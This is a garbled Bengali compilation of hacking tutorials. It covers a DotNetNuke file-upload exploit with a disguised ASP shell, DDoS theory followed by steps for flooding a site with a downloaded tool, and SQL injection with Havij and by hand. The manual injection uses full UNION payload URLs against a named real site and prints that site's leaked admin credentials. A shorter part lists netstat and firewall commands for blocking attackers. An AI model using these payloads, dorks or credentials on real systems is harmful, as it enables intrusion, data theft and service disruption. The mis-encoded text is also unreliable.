সব কযায য অকতন এভন একটি সজ াচছফন
ছকতফ
এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related
`
DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন
inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx
গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না
ছকতফ
২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ
৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা
ছকতফ
৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)
ছকতফ
৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ
৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত
কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয
কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায
সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww
কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক
ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ
কতকবাচছফ DdoS যাটাক কযফ
পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন
DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য
এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ
থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক
এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা
এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন
কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয
১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ
অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয
একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয
কতকনত DoS যাটাক টা চছে কতনচছচয ভত
অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত
D0S DDoS attack এয কাযন কতক
২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ
অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক
১) যাকাযচছদয কভতরফ
খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ
ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন
যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক
থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয
থফা কতনতানতআ পরযাকটি এয উচছেচছ
২) sysadmin এয বার ভতরফ
নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ
াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ
কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন
DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায
DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয
ড যাটাক এয কভন কামবপরণারী গচছরা চছে -
কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা
কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা
াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ
--------------------------------------------------------------------------------------------------------------------------------------
----------------------
অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ
Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত
পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত
এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন
এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন
রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ
Apache 1x Apache 2x
GoAhead WebServer
---------------------------------------------------------------------------------------------------------------------------------------
---------------------
এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ
পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন
এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন
পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন
httpwwwmediafirecomfamiivi799a9459
পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as
administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ
১ URL ফচছকস সম সকান াআচছটয নাভ সরখন
(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)
২ lock on কতচছরকট করন
৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
